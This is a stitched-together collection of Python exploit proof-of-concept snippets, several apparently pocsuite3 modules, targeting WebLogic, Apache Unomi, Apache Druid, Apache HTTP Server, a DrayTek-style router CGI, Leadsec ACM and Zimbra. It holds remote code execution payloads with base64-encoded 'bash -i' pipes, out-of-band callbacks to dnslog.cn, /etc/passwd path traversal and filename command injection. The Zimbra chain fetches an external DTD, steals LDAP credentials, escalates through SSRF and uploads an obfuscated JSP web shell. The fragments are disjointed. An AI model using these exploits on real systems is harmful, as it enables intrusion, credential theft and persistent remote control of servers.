def check_weblogic_console_page(target):
     s = req.session()
     console_url = '/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1'
     if not target.startswith('http'):
         target = 'http://{}'.format(target)
     url = '{}{}'.format(target, console_url)
     try:
         # get session cookes
         r = s.get(url, allow_redirects=False)
         # 302 to portal
         if r.status_code == 302:
             r = s.get(url)
             if r.status_code == 200 and 'id="HomePage1"' in r.text:
                 m = re.findall(
                     '<p id="footerVersion">(.*?)</p>', r.text)
                 if m:
                     return (True, m[0])
                 else:
                     return(True, '')
         return (False, '')
     except req.exceptions.ReadTimeout:
         return (False, 'timeout')
     except Exception as ex:
         # raise
         return (False, str(ex))
    def _verify(self):
        result = {}
        getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
        getres_url = 'http://www.dnslog.cn/getrecords.php'
        dnsheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64'
        }
        dnssess = requests.session()
        #获取dnslog的subdomain
        try:
            dnsreq = dnssess.get(url=getdnssub_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
        except Exception as e:
            logger.warn(str(e))

        #执行ping dnslog的请求
        pocurl = self.url + '/context.json'
        pocheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',
            'Content-Type': 'application/json;charset=UTF-8',
            'Content-Length': '1003',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9'
        }
        payload = 'ping catchyou.' + dnsreq.text
        payload = 'bash -c {echo,' + (base64.b64encode(
            payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}'
        pocjson = '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass = #this.getClass().forName(\\"java.lang.Runtime\\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\\"getRuntime\\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\\"exec\\")}.{? #this.getParameters()[0].getType().getName().equals(\\"java.lang.String\\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\\"' + payload + '\\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"6666"} '
        # pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\"bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}'
        try:
            r2 = requests.post(url=pocurl,
                               headers=pocheaders,
                               data=pocjson,
                               verify=False)  #执行ping指令
            time.sleep(5)
        except Exception as e:
            logger.warn(str(e))
        #检查dnslog日志
        try:
            dnsres = dnssess.get(url=getres_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
            if dnsres.status_code == 200 and 'catchyou' in dnsres.text:
                result['VerifyInfo'] = {}
                # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port)
                result['VerifyInfo']['URL'] = self.url
                result['extra'] = {}
                result['extra']['evidence'] = dnsres.text
        except Exception as e:
            logger.warn(str(e))
        return self.parse_attack(result)
    def _verify(self):
        result = {}
        getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
        getres_url = 'http://www.dnslog.cn/getrecords.php'
        dnsheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64'
        }
        dnssess = requests.session()
        #获取dnslog的subdomain
        try:
            dnsreq = dnssess.get(url=getdnssub_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
        except Exception as e:
            logger.warn(str(e))

        #执行ping dnslog的请求
        pocurl = self.url + '/context.json'
        pocheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',
            'Content-Type': 'application/json;charset=UTF-8',
            'Content-Length': '1003',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9'
        }
        payload = 'ping catchyou.' + dnsreq.text
        payload = 'bash -c {echo,' + (base64.b64encode(
            payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}'
        pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\" ' + payload + '\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}'
        # pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\"bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}'
        try:
            r2 = requests.post(url=pocurl,
                               headers=pocheaders,
                               data=pocjson,
                               verify=False)  #执行ping指令
            time.sleep(5)
        except Exception as e:
            logger.warn(str(e))
        #检查dnslog日志
        try:
            dnsres = dnssess.get(url=getres_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
            if dnsres.status_code == 200 and 'catchyou' in dnsres.text:
                result['VerifyInfo'] = {}
                # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port)
                result['VerifyInfo']['URL'] = self.url
                result['extra'] = {}
                result['extra']['evidence'] = dnsres.text
        except Exception as e:
            logger.warn(str(e))
        return self.parse_attack(result)
Exemple #4
0
    def _verify(self):
        result = {}
        getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
        getres_url = 'http://www.dnslog.cn/getrecords.php'
        dnsheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64'
        }
        dnssess = requests.session()
        #获取dnslog的subdomain
        try:
            dnsreq = dnssess.get(url=getdnssub_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
        except Exception as e:
            logger.warn(str(e))

        #执行ping dnslog的请求
        pocurl = self.url + '/druid/indexer/v1/sampler?for=filter'
        pocheaders = {
            'User-Agent':
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64',
            'Content-Type': 'application/json;charset=UTF-8',
            'Content-Length': '1003',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9'
        }
        payload = 'ping catchyou.' + dnsreq.text
        pocjson = '{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\\"isRobot\\":true,\\"channel\\":\\"#x\\",\\"timestamp\\":\\"2021-2-1T14:12:24.050Z\\",\\"flags\\":\\"x\\",\\"isUnpatrolled\\":false,\\"page\\":\\"1\\",\\"diffUrl\\":\\"https://xxx.com\\",\\"added\\":1,\\"comment\\":\\"Botskapande Indonesien omdirigering\\",\\"commentLength\\":35,\\"isNew\\":true,\\"isMinor\\":false,\\"delta\\":31,\\"isAnonymous\\":true,\\"user\\":\\"Lsjbot\\",\\"deltaBucket\\":0,\\"deleted\\":0,\\"namespace\\":\\"Main\\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(\'' + payload + '\')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}'
        try:
            r2 = requests.post(url=pocurl,
                               headers=pocheaders,
                               data=pocjson,
                               verify=False)  #执行ping指令
            time.sleep(5)
        except Exception as e:
            logger.warn(str(e))
        #检查dnslog日志
        try:
            dnsres = dnssess.get(url=getres_url,
                                 headers=dnsheaders,
                                 allow_redirects=False,
                                 verify=False,
                                 timeout=10)
            if dnsres.status_code == 200 and 'catchyou' in dnsres.text:
                result['VerifyInfo'] = {}
                # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port)
                result['VerifyInfo']['URL'] = self.url
                result['extra'] = {}
                result['extra']['evidence'] = dnsres.text
        except Exception as e:
            logger.warn(str(e))
        return self.parse_attack(result)
Exemple #5
0
 def _verify(self):
     result = {}
     path = '/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
     url = self.url + path
     try:
         r = requests.Request('GET', url).prepare()
         r.url = url
         resq = requests.session().send(r, timeout=5, verify=False)
         if resq and resq.status_code == 200 and "root:x" in resq.text:
             result['VerifyInfo'] = {}
             result['VerifyInfo']['URL'] = url
             result['VerifyInfo']['POC'] = path
     except Exception as e:
         return
     return self.parse_output(result)
Exemple #6
0
 def _attack(self):
     result = {}
     file = self.get_option("path")
     url = self.url + file
     try:
         r = requests.Request('GET', url).prepare()
         r.url = url
         resq = requests.session().send(r, timeout=5, verify=False)
         t = resq.text
         print('output >>> \n' + t)
         t = t.replace(" ", "")
         result['VerifyInfo'] = {}
         result['VerifyInfo']['URL'] = url
         result['VerifyInfo']['Name'] = t
     except Exception as e:
         return
Exemple #7
0
    def __init__(self, token='', server=''):
        rsa = RSA.generate(2048)
        self.public_key = rsa.publickey().exportKey()
        self.private_key = rsa.exportKey()
        self.token = token
        self.server = server.lstrip('.') or 'interact.sh'
        self.headers = {
            "Content-Type": "application/json",
        }
        if self.token:
            self.headers['Authorization'] = self.token
        self.secret = str(uuid4())
        self.encoded = b64encode(self.public_key).decode("utf8")
        guid = uuid4().hex.ljust(33, 'a')
        guid = ''.join(
            i if i.isdigit() else chr(ord(i) + random.randint(0, 20))
            for i in guid)
        self.domain = f'{guid}.{self.server}'
        self.correlation_id = self.domain[:20]

        self.session = requests.session()
        self.session.headers = self.headers
        self.register()
Exemple #8
0
    def atk(self, url, cmd):
        magic = "EOFKAN9"
        s = requests.session()
        raw_data = """------WebKitFormBoundary                                         
Content-Disposition: form-data; name="abc"; filename="t';echo 1;{};echo '{}_"
Content-Type: text/x-python-script



------WebKitFormBoundary--""".format(cmd, magic)
        url = "{}/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2".format(url)
        try:
            r = s.post(
                url,
                data=raw_data,
                headers={
                    'Content-Type':
                    'multipart/form-data; boundary=----WebKitFormBoundary'
                },
                verify=False)
            res = r.content.decode()
            # print(res)
            if magic in res:
                res = res[1:res.find(magic)].strip()
                return 'OK', res
            else:
                return 'ERROR', res
        except Exception as e:
            msg = repr(e)
            mmsg = msg.lower()
            if 'timed out' in mmsg:
                return 'TIMEOUT', msg
            elif 'refused' in mmsg:
                return 'REFUSED', msg
            else:
                return 'EXCEPTION', msg
from collections import OrderedDict
import urllib.parse
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
from requests.api import patch
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.sessions import session
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

sessions = requests.session()


class POC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['luckying']  #  PoC作者的大名
    vulDate = '2021-10-19'  #漏洞公开的时间,不知道就写今天
    createDate = '2021-10-19'  # 编写 PoC 的日期
    updateDate = '2021-10-19'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'Leadsec ACM后台任意文件下载'  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = 'Leadsec ACM后台任意文件下载'  # 漏洞应用名称
    appVersion = '''V3.0'''  # 漏洞影响版本
    vulType = VUL_TYPE.WEAK_PASSWORD  #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        网御上网行为管理系统 Leadsec ACM后台任意文件下载
    '''
Exemple #10
0
    def _check(self, url):
        base_url = url.rstrip("/")
        # upload file name and content
        # modify by k8gege
        # Connect "shell.jsp" using K8fly CmdShell
        # Because the CMD parameter is encrypted using Base64(bypass WAF)
        filename = "shell.jsp"
        fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
        print(base_url)
        # dtd file url
        dtd_url = "https://k8gege.github.io/zimbra.dtd"
        """
        <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
        <!ENTITY % start "<![CDATA[">
        <!ENTITY % end "]]>">
        <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
        """
        xxe_data = r"""<!DOCTYPE Autodiscover [
                <!ENTITY % dtd SYSTEM "{dtd}">
                %dtd;
                %all;
                ]>
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
            <Request>
                <EMailAddress>aaaaa</EMailAddress>
                <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
            </Request>
        </Autodiscover>""".format(dtd=dtd_url)

        # XXE stage
        headers = {"Content-Type": "application/xml"}
        print("[*] Get User Name/Password By XXE ")
        r = requests.post(base_url + "/Autodiscover/Autodiscover.xml",
                          data=xxe_data,
                          headers=headers,
                          verify=False,
                          timeout=15)
        #print r.text
        if 'response schema not available' not in r.text:
            print("have no xxe")
            exit()
        # low_token Stage
        import re
        pattern_name = re.compile(
            r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;"
        )
        pattern_password = re.compile(
            r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;"
        )
        username = pattern_name.findall(r.text)[0][2]
        password = pattern_password.findall(r.text)[0][2]
        print(username)
        print(password)

        auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
        <soap:Header>
            <context xmlns="urn:zimbra">
                <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
            </context>
        </soap:Header>
        <soap:Body>
            <AuthRequest xmlns="{xmlns}">
                <account by="adminName">{username}</account>
                <password>{password}</password>
            </AuthRequest>
        </soap:Body>
        </soap:Envelope>
        """
        print("[*] Get Low Privilege Auth Token")
        r = requests.post(base_url + "/service/soap",
                          data=auth_body.format(xmlns="urn:zimbraAccount",
                                                username=username,
                                                password=password),
                          verify=False)

        pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>")

        low_priv_token = pattern_auth_token.findall(r.text)[0]

        # print(low_priv_token)

        # SSRF+Get Admin_Token Stage
        headers["Cookie"] = "ZM_ADMIN_AUTH_TOKEN=" + low_priv_token + ";"
        headers["Host"] = "foo:7071"
        print("[*] Get Admin  Auth Token By SSRF")
        r = requests.post(
            base_url +
            "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",
            data=auth_body.format(xmlns="urn:zimbraAdmin",
                                  username=username,
                                  password=password),
            headers=headers,
            verify=False)

        print(r.text)
        admin_token = pattern_auth_token.findall(r.text)[0]
        print("ADMIN_TOKEN:" + admin_token)

        f = {
            'filename1': (None, "whocare", None),
            'clientFile': (filename, fileContent, "text/plain"),
            'requestId': (None, "12", None),
        }

        headers = {"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"}
        print("[*] Uploading file")
        r = requests.post(base_url +
                          "/service/extension/clientUploader/upload",
                          files=f,
                          headers=headers,
                          verify=False)
        # print(r.text)
        print("Shell: " + base_url + "/downloads/" + filename)
        #print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
        print("[*] Request Result:")
        s = requests.session()
        r = s.get(base_url + "/downloads/" + filename,
                  verify=False,
                  headers=headers)
        # print(r.text)
        print("May need cookie:")
        print(headers['Cookie'])
        if r.status_code == 200:
            return base_url + "/downloads/" + filename, headers['Cookie']
        return False